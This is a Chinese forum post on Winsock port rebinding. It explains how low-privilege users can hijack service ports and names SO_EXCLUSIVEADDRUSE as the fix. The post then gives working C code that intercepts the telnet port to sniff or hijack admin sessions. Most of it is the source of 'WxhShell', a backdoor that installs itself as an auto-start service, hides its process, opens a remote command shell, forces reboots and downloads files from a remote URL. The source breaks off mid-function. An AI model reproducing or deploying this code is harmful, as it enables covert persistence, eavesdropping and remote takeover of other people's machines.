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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *)limqe3"$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1 6"#i  
drW~)6Lr@  
  saddr.sin_family = AF_INET; KK?Zm_  
9mam ~)_ |  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); r& vFikIz  
IQ ){(Y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); nD7|8,'  
NF6X- ,c d  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 yJ%t^ X_  
<&4nOt  
  这意味着什么?意味着可以进行如下的攻击: 9 |' |BC  
>; aCf#q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |#{-.r6Y]  
EQ4#fAM)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'eD J@4Xm  
\[:PykS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C\ tprnY  
k!5m@'f  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /\ytr%7,'  
&~RR&MdZ2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4|`Yz%'  
)h#]iGVN}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 h@=7R  
wZ#Rlv,3Wa  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~A6"sb=  
_@Y"$V]=Vt  
  #include MR`:5e  
  #include 1%%'6cWWu  
  #include WzjL-a(  
  #include    yQ9ZhdQS  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Mtm/}I  
  int main() pe9@N9_5  
  { d')-7C  
  WORD wVersionRequested; sONBQ9  
  DWORD ret; o/C(4q6d  
  WSADATA wsaData; g& k58{e  
  BOOL val; $[g_=Z  
  SOCKADDR_IN saddr; !=3Rg-'d1  
  SOCKADDR_IN scaddr; Guh%eR'Wt  
  int err; rz6uDJ"  
  SOCKET s; :p' VbQZ{  
  SOCKET sc; qz9tr  
  int caddsize; ~3gru>qI&  
  HANDLE mt; Y$g}XN*)E  
  DWORD tid;   `-_N@E1'>  
  wVersionRequested = MAKEWORD( 2, 2 ); !YiuwFt  
  err = WSAStartup( wVersionRequested, &wsaData ); 98fu>>*G{  
  if ( err != 0 ) { l[ne/O JJ  
  printf("error!WSAStartup failed!\n"); Ir5WN_EaS  
  return -1; %JtbRs(~q  
  } 1"}cdq.  
  saddr.sin_family = AF_INET; Z?oG*G:  
   TI=h_%mO  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 QYQtMb,  
#O~XVuvF0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); SVagT'BB  
  saddr.sin_port = htons(23); H6gU?9%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) . V$ps-t  
  { ~]BMrgn  
  printf("error!socket failed!\n"); ZsZcQj6G,  
  return -1; BYi)j6"  
  } UNDi_6Dy   
  val = TRUE; ;#TaZN  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l?/Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !Vheq3"q/  
  { RW_q~bA9  
  printf("error!setsockopt failed!\n"); 1S0pd-i  
  return -1; 4,G w#@  
  } |ETiLR=&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ][d,l\gu+s  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 y:d{jG^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;gMgj$mI  
F[saP0 *  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) n,j$D62[  
  { [iS,#w` 5  
  ret=GetLastError(); e'2Y1h  
  printf("error!bind failed!\n"); |%1?3Mpn  
  return -1; fQ+\;iAU  
  } xY\ 0 zQ  
  listen(s,2); vMla'5|l  
  while(1) NOt@M  
  { iWE)<h  
  caddsize = sizeof(scaddr); -Xz&}QA  
  //接受连接请求 5l DFp9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]XeO0Y  
  if(sc!=INVALID_SOCKET) C5W>W4EM  
  { b.F^vv"]]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :?Y$bX}a  
  if(mt==NULL) WKmbNvN^  
  { K>2#UzW  
  printf("Thread Creat Failed!\n"); Xf d*D  
  break; ,e`'4H  
  } ifK%6o6  
  } ~]'pY  
  CloseHandle(mt); !:CJPM6j3  
  } jN0k9O>  
  closesocket(s); ,RxYd6  
  WSACleanup(); pFsc}R/0/8  
  return 0; ir16   
  }   93O;+Z5J  
  DWORD WINAPI ClientThread(LPVOID lpParam) O7t(,uox3y  
  { i)ASsYG!  
  SOCKET ss = (SOCKET)lpParam; k+^'?D--'P  
  SOCKET sc; Gi FXX  
  unsigned char buf[4096]; Q;u SWt<{  
  SOCKADDR_IN saddr; U__(; /1;  
  long num; ZJ,cQ+fn  
  DWORD val; 'b/ <x|  
  DWORD ret; 7@}$|u:JUF  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8K9$,Ii  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   gNpJ24QK  
  saddr.sin_family = AF_INET; ;WU<CKYG*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >dzsQ^Nj  
  saddr.sin_port = htons(23); E7zm{BX]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (08I  
  { ,#]t$mzbQ(  
  printf("error!socket failed!\n"); x3p ND  
  return -1; ?7MqeR4/E  
  } =Gk/k}1  
  val = 100; &~e$:8 +  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :_kAl? eJ  
  { J;$N{"M  
  ret = GetLastError(); ,`A?!.K$  
  return -1; " =] -%B  
  } QK`i%TXJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Cx_Q: 6T  
  { !0,Mp@ j/  
  ret = GetLastError(); o4b~4 h{%  
  return -1; JUAS$Y  
  } ~z5R{;Nbz|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8>WVodv  
  { cbYLU\!  
  printf("error!socket connect failed!\n"); Q&'}BeUbm  
  closesocket(sc); JRMM?y  
  closesocket(ss); Wu6<\^A  
  return -1; 'b*%ixa  
  } U-k VNBs  
  while(1) Gfp1mev   
  { `qVjwJ!+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 L I>(RMv  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )~6zYJ2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {nT^t Aha  
  num = recv(ss,buf,4096,0); J?UQJ&!@O  
  if(num>0) 7Q w|!  
  send(sc,buf,num,0); 6x)$Dl  
  else if(num==0) !R-z%  
  break; F}GPZ=T;  
  num = recv(sc,buf,4096,0); YC_5YY(k  
  if(num>0) 2F#q I1  
  send(ss,buf,num,0); bI.t <;  
  else if(num==0) ^D`v3d  
  break; Mb1t:Xf^g  
  } KOz(TZ?u  
  closesocket(ss); 8X|r4otn4  
  closesocket(sc); vIl+#9L0  
  return 0 ; ^ci3F<?Q=  
  } 1?*  
5}$b0<em~  
;Vik5)D2D  
========================================================== *=V7@o  
D?yG+%&9  
下边附上一个代码,,WXhSHELL |t iUej  
&N~ZI*^  
========================================================== C;QAT  
jn >d*9u  
#include "stdafx.h" #rO8Kf  
XdLCbY  
#include <stdio.h> + Q=1AXe  
#include <string.h> `LAR@a5i  
#include <windows.h> l {jmlT  
#include <winsock2.h> ?{w3|Ef&  
#include <winsvc.h> jcNT<}k C  
#include <urlmon.h> Uy ?  
;w|b0V6  
#pragma comment (lib, "Ws2_32.lib") ]lw|pvtd  
#pragma comment (lib, "urlmon.lib") mbnV[  
9Y>8=#.c  
#define MAX_USER   100 // 最大客户端连接数 =[\s8XH,  
#define BUF_SOCK   200 // sock buffer A1P K  
#define KEY_BUFF   255 // 输入 buffer >>aq,pH  
N>(g?A; Z+  
#define REBOOT     0   // 重启 :ISMPe3'  
#define SHUTDOWN   1   // 关机 r78TE@d  
7XKY]|S,'  
#define DEF_PORT   5000 // 监听端口 b"!Q2S~  
"YdEE\  
#define REG_LEN     16   // 注册表键长度 t5)+&I2  
#define SVC_LEN     80   // NT服务名长度 -V,v9h ^  
Q+b D}emd  
// 从dll定义API XNQAi (!GS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,QzL)W7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7\*FEjRM]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wC `+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /kt2c[9  
`(A5f71MfM  
// wxhshell配置信息 PP:(EN1  
struct WSCFG { pfu1 O6R  
  int ws_port;         // 监听端口  (x^BKnZ  
  char ws_passstr[REG_LEN]; // 口令 >5s6u`\  
  int ws_autoins;       // 安装标记, 1=yes 0=no OpM(j&  
  char ws_regname[REG_LEN]; // 注册表键名 I;VuW  
  char ws_svcname[REG_LEN]; // 服务名 yaq'Lt`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A)%A!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [,2|Flf e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bAKiq}xG%i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ig3;E+*>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :qChMU|Y6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N2.AKH  
:Mm3 gW)  
}; zIP6\u  
s"Pf+aTW  
// default Wxhshell configuration n,B,"\fw  
struct WSCFG wscfg={DEF_PORT, "#(T  
    "xuhuanlingzhe", }y9mNT  
    1, J|'7_0OAx  
    "Wxhshell", Ut$;ND.-  
    "Wxhshell", kP/M< X"  
            "WxhShell Service", 6c^e\0q  
    "Wrsky Windows CmdShell Service", asY[8r?U  
    "Please Input Your Password: ", \(t@1]&jw  
  1, 0b4R  
  "http://www.wrsky.com/wxhshell.exe", CR6R?R3b  
  "Wxhshell.exe" P!"&%d  
    }; el:9wq  
5@^ dgq  
// 消息定义模块 bdGIF'p%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \P1S|ufv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K&8dA0i2u2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k)TSR5A  
char *msg_ws_ext="\n\rExit."; kcb.Wz~=  
char *msg_ws_end="\n\rQuit."; JyR/1 W  
char *msg_ws_boot="\n\rReboot..."; sKlDu  
char *msg_ws_poff="\n\rShutdown..."; p~*UpU8u  
char *msg_ws_down="\n\rSave to "; 71vkyn@"  
JH:0 L  
char *msg_ws_err="\n\rErr!"; !S&L*OH,  
char *msg_ws_ok="\n\rOK!"; Bz5-ITX   
t |~YEQ  
char ExeFile[MAX_PATH]; o.q/O)'V u  
int nUser = 0; :n /@z4#  
HANDLE handles[MAX_USER]; [HCAmnb  
int OsIsNt; detwa}h[0  
pv&y91  
SERVICE_STATUS       serviceStatus; B<C*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KiJT!moB  
O(+phRwJ  
// 函数声明 }:Z#}8  
int Install(void); D@!=d@V.  
int Uninstall(void); wm+/e#'&  
int DownloadFile(char *sURL, SOCKET wsh); ?_I[,N?@41  
int Boot(int flag); EvOJ~'2 Y%  
void HideProc(void); J!:SPQ  
int GetOsVer(void); eds26(  
int Wxhshell(SOCKET wsl); 4wrk2x[  
void TalkWithClient(void *cs); XoA+MuDzpo  
int CmdShell(SOCKET sock); -!c"k}N=  
int StartFromService(void); M`ip~7"  
int StartWxhshell(LPSTR lpCmdLine); Yv:55+e!|  
z )HD`Ho  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h,Q3oy\s1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QR1{ w'c  
?s:d[To6  
// 数据结构和表定义 5 Kkdo!z  
SERVICE_TABLE_ENTRY DispatchTable[] = V*W;OiE_ 3  
{ 3>Y 6)  
{wscfg.ws_svcname, NTServiceMain}, H@ t'~ZO  
{NULL, NULL} o1<_fI  
}; hGiz)v~  
}<dRj  
// 自我安装 ~i`>adJ:  
int Install(void) f%V4pzOc"  
{ |Pg@M  
  char svExeFile[MAX_PATH]; {#)0EzV6  
  HKEY key; 6 ~ >FYX  
  strcpy(svExeFile,ExeFile); Nj?/J47?,  
qu|B4?Y/CR  
// 如果是win9x系统,修改注册表设为自启动 3Kn_mL3V-  
if(!OsIsNt) { f]`vRvbe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S{Er?0wm.R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A]XZnQ  
  RegCloseKey(key); W^G>cC8.L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s+Q~~]HJM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >Jp:O 7  
  RegCloseKey(key); q `pP$i:  
  return 0; |^A;&//  
    } YX` 7Hm,  
  } P{u0ftyX}  
} '3?\K3S4i  
else { # vry0i  
gCxAG  
// 如果是NT以上系统,安装为系统服务 EOm:!D\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h(5P(`M  
if (schSCManager!=0) 8O Soel  
{ JJ%ePgWT  
  SC_HANDLE schService = CreateService mW:!M!kk  
  ( !H ~<  
  schSCManager, W8]lBh5~:  
  wscfg.ws_svcname, S%Us5`sd  
  wscfg.ws_svcdisp, Z ,EvQ8i  
  SERVICE_ALL_ACCESS, )HvnoUO0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d'Zqaaf k%  
  SERVICE_AUTO_START, '7oA< R  
  SERVICE_ERROR_NORMAL, AZmb!}m+d  
  svExeFile, 435;Vns\n  
  NULL, r fq;%C  
  NULL, +=:#wzK@  
  NULL, # 0Lf<NZ  
  NULL, ;s52{>&F]  
  NULL 9k6r_G"  
  ); ^.>jG I%rB  
  if (schService!=0) {6}eN|4~#  
  { ?]x|Zy  
  CloseServiceHandle(schService); k2AJXw  
  CloseServiceHandle(schSCManager); U{VCZ*0cj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e/^=U7:io  
  strcat(svExeFile,wscfg.ws_svcname); #es9d3 ~\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SXy=<%ed  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F}=aBV|-  
  RegCloseKey(key); v.]Q$q^  
  return 0; l \sU  
    } C[%OkPR,H  
  } V<j.xd7  
  CloseServiceHandle(schSCManager); #H0dZ.$b0  
} 65Cg]Dt71  
} R~ZFy0  
mL4]l(U  
return 1; Kh MSL  
} _N@ro  
yUp,NfS]o  
// 自我卸载 nH<eR)0  
int Uninstall(void) rs~wv('  
{ ObiT-D?)g  
  HKEY key; g]c6& Y,#  
rSJ9 v :  
if(!OsIsNt) { ?|39u{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9[^gAR  
  RegDeleteValue(key,wscfg.ws_regname); d,=r 9.  
  RegCloseKey(key); `+uhy ,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ma((2My'H  
  RegDeleteValue(key,wscfg.ws_regname); B:+6~&,-  
  RegCloseKey(key); xQ@^$_  
  return 0; |JVk&8 ?8  
  } FD8N"p  
} 1u6^z  
} _-#'j2  
else { QPfc(Z  
/IM#.v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `3hSL R  
if (schSCManager!=0) pi ,eIm  
{ o5Q{/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OdB?_.+$  
  if (schService!=0) f4PIoZ e  
  { YxP@!U9dE,  
  if(DeleteService(schService)!=0) { <NuUW9+  
  CloseServiceHandle(schService); `YI f_a{  
  CloseServiceHandle(schSCManager); Iwc{R8BV  
  return 0; LH@j8YB5u  
  } o!!yd8~*r  
  CloseServiceHandle(schService); 0eS)&GdR  
  } Q !(pE&  
  CloseServiceHandle(schSCManager); (owrdPT!  
} !OuWPH. :  
} &Y^WP?HS  
yfC^x%d7G  
return 1; 1hziXC0WY  
} th&[Nt7  
;asP4R=  
// 从指定url下载文件 Q J7L7S  
int DownloadFile(char *sURL, SOCKET wsh) l!g]a2x*  
{ $.[#0lCI  
  HRESULT hr; pe{; ~-|6  
char seps[]= "/"; y})70w@ +_  
char *token; g=$1cC+(  
char *file; gw}Mw  
char myURL[MAX_PATH]; ~mR'Q-hi<  
char myFILE[MAX_PATH]; eR3$i)5  
ryFxn|4  
strcpy(myURL,sURL); ti<;7Yb  
  token=strtok(myURL,seps); f0BdXsV#g  
  while(token!=NULL) ^J\~XYg{7  
  { `ck$t5:6sp  
    file=token; ,Uy|5zv  
  token=strtok(NULL,seps); j7)Ao*WN  
  } b&5lYp"d  
UF@XK">  
GetCurrentDirectory(MAX_PATH,myFILE); P'O#I}Dmw<  
strcat(myFILE, "\\"); W[^qa5W<FB  
strcat(myFILE, file); C|?o*fQ  
  send(wsh,myFILE,strlen(myFILE),0); {U_$&f9s  
send(wsh,"...",3,0); R?p00  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {4-[r#R<M  
  if(hr==S_OK) Yp:KI7  
return 0; ($~RoQ=0S  
else Y)}Rb6qGW  
return 1; w&x!,yd;  
Bdu&V*0g  
} {je-I9%OK  
Qr$;AZ G  
// 系统电源模块 "^1L'4'S  
int Boot(int flag) Y}vr>\  
{ Kk{<@v)  
  HANDLE hToken; u SR~@Lj ~  
  TOKEN_PRIVILEGES tkp; NoJ`6MB  
NmSo4Dg`U  
  if(OsIsNt) { }nMPSerE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,DZX$Ug~+E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qVs\Y3u(  
    tkp.PrivilegeCount = 1; w$u3W*EoU^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B.L]Rk\4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b?j< BvQ  
if(flag==REBOOT) { U2%.S&wS,e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "5,   
  return 0; zdp/|"D!  
} 0]jA<vLR  
else { t2r?N}"P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PClMQL#  
  return 0; Zt3)]sB  
} &RTX6%'KY  
  } z1Ov|Q`  
  else { |eWjYGwJa  
if(flag==REBOOT) { mSo_} je(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;IpT} ,  
  return 0; pm6>_Kz  
} (X?/"lC)  
else { q`G,L(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +/ &_v^sC;  
  return 0; ?]4>rl}  
} o,P.& m{?  
} qBT.x,$  
=ID 2  
return 1; {b@KYR9K  
} 1NcCy! +  
A mwa)  
// win9x进程隐藏模块 {H{X[p8  
void HideProc(void) Wy%s1iu  
{ |qoKO:B4-[  
$\? yAE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Rd>B0;4  
  if ( hKernel != NULL ) f +hjC  
  { 8Y#\xzod  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DU=dLE6-P;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Tc+gdo>G  
    FreeLibrary(hKernel); 2"-S<zM  
  } ~%2pp~1 K  
sIv)'  
return; jU5}\oP@  
} 7^Yk`Z?|a  
wm+})SOX9  
// 获取操作系统版本 Rtjqx6-B;  
int GetOsVer(void) I=!rbF;Z  
{ l]]l  
  OSVERSIONINFO winfo; mP(kcMT "  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0n/gd"M  
  GetVersionEx(&winfo); oY=q4D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s<]&*e&}?  
  return 1; -uH#VP{0M  
  else 8x[YZ@iM-  
  return 0; /NFz4h =>  
} 0=="^t_  
c1xrn4f@a  
// 客户端句柄模块 *;XWLd#  
int Wxhshell(SOCKET wsl) Y+3!f#exm  
{ w2xG_q  
  SOCKET wsh; u@3y&b  
  struct sockaddr_in client; dHk{.n^p  
  DWORD myID; v-! u\  
c   c  
  while(nUser<MAX_USER) W<<9y  
{ ~RD+.A  
  int nSize=sizeof(client); aSP4a+\*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uZi.HG{<)  
  if(wsh==INVALID_SOCKET) return 1; &,.Y9; b  
Ei2%DMN7)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U/NBFc:[y:  
if(handles[nUser]==0) I_q~*/<h  
  closesocket(wsh); ')N{wSM9Ft  
else A$WZF/x  
  nUser++; ~xIj F1Z  
  } Hp|}~xjn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jp+_@S>  
Pe2wsR"_U  
  return 0; dr<<!q /  
} i7LJ&g/)  
cUO<.  
// 关闭 socket -<#!DjV6(  
void CloseIt(SOCKET wsh) hwqbi "o  
{ =KT7nl  
closesocket(wsh); -ti{6:H8  
nUser--; =\{\g7  
ExitThread(0); Y\=FLO9  
} 6yy;JQAke  
 LZ~"VV^  
// 客户端请求句柄 $M:3XAN  
void TalkWithClient(void *cs) Em7 WDu0  
{ J# kl 7  
RL[E X5U  
  SOCKET wsh=(SOCKET)cs; .O0O-VD+a  
  char pwd[SVC_LEN]; 9GdB#k6W`  
  char cmd[KEY_BUFF]; 3u33a"nL8  
char chr[1]; 7}_!  
int i,j; Y $-3v.  
9,]5v +  
  while (nUser < MAX_USER) { ?tg  y|  
*XWq?hi  
if(wscfg.ws_passstr) { \VSATL:]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >b.^kc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4eH.9t  
  //ZeroMemory(pwd,KEY_BUFF); ai*b:Q  
      i=0; Z"s|]K "  
  while(i<SVC_LEN) { _e!F~V.  
i5F:r|  
  // 设置超时 dr q hQ  
  fd_set FdRead;  d^|0R  
  struct timeval TimeOut; \ /|)HElKR  
  FD_ZERO(&FdRead); *U l*%!?D  
  FD_SET(wsh,&FdRead); 0qFH s  
  TimeOut.tv_sec=8; MEiRj]t  
  TimeOut.tv_usec=0; |3? 8)z\n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *V k ^f+5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k8]O65t|  
=i HiPvP0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fd\ e*ww'  
  pwd=chr[0]; >\A8#@1  
  if(chr[0]==0xd || chr[0]==0xa) { k#:2'!7G  
  pwd=0; (5$ZvXx?}  
  break; 9tg)Mo%  
  } /( 6|{B  
  i++; W >(vYU  
    } j*;N\;iL!*  
EN !?:RV  
  // 如果是非法用户,关闭 socket !8tS|C#2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); insY(.N  
} +[ .Yy  
x6'^4y])  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q1k{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _w ]4~V9  
<EO<x D=:  
while(1) { FnHi(S|A  
$A<ESfrs  
  ZeroMemory(cmd,KEY_BUFF); AK u_~bTk  
)fU(AXSP  
      // 自动支持客户端 telnet标准   kD.pzx EM  
  j=0; Z"I/ NGiU  
  while(j<KEY_BUFF) { MQcr^Y_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |Wj;QO$C  
  cmd[j]=chr[0]; >P. 'CU  
  if(chr[0]==0xa || chr[0]==0xd) { f0Hq8qAF;^  
  cmd[j]=0; y:}sD_m0W  
  break; {fSf q&o  
  } 1q.(69M  
  j++; mE#nU(+Ta  
    } s* j fMY  
]qw0V   
  // 下载文件 bZipm(e  
  if(strstr(cmd,"http://")) { 99iUOw c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hh.Q\qhubB  
  if(DownloadFile(cmd,wsh)) #-cTc&$O;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *9gD*AnM,  
  else gY9\o#)<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sY;lt.b  
  } J7i+c];!<  
  else { PQj<[rY  
] y1fM0  
    switch(cmd[0]) { tjv\)Nn'  
  Q*O<@   
  // 帮助 v@u<Ww;=@  
  case '?': { ~S(^T9R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mgkyC5)d  
    break; pvXcLR)L+3  
  } ^i_Iqph=  
  // 安装 }C(5-7  
  case 'i': { 3#.\  
    if(Install()) M1u{A^d.Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ulXnq`  
    else PCfo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :mv`\  
    break; 8V5a%2eV  
    } ;6DnId2Zh  
  // 卸载 xX@FWAj  
  case 'r': { N?23 m`3  
    if(Uninstall()) -p# ,5}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z \?UGxu}  
    else fnH3 CE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #o[\Dwu  
    break; Dl;d33  
    } KAb(NZK  
  // 显示 wxhshell 所在路径 E8-53"m  
  case 'p': { YL5>V$i  
    char svExeFile[MAX_PATH]; y @apJ;_R-  
    strcpy(svExeFile,"\n\r"); v:d9o.h  
      strcat(svExeFile,ExeFile); Q~ 0Dfo w?  
        send(wsh,svExeFile,strlen(svExeFile),0); 68 x}w Ae  
    break; MTmO>V&O  
    } D[>W{g $  
  // 重启 ^9ng)  
  case 'b': { 2@MN]Low  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Jgi Iq  
    if(Boot(REBOOT)) (@ ]tG?I=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,d 7Z  
    else { +8^_D?*\n  
    closesocket(wsh); ^g!B.ll`  
    ExitThread(0); vg^Myn   
    } :)P<jX-G  
    break; ,$Tk$  
    } Vm!i  
  // 关机 eoJ]4-WFq  
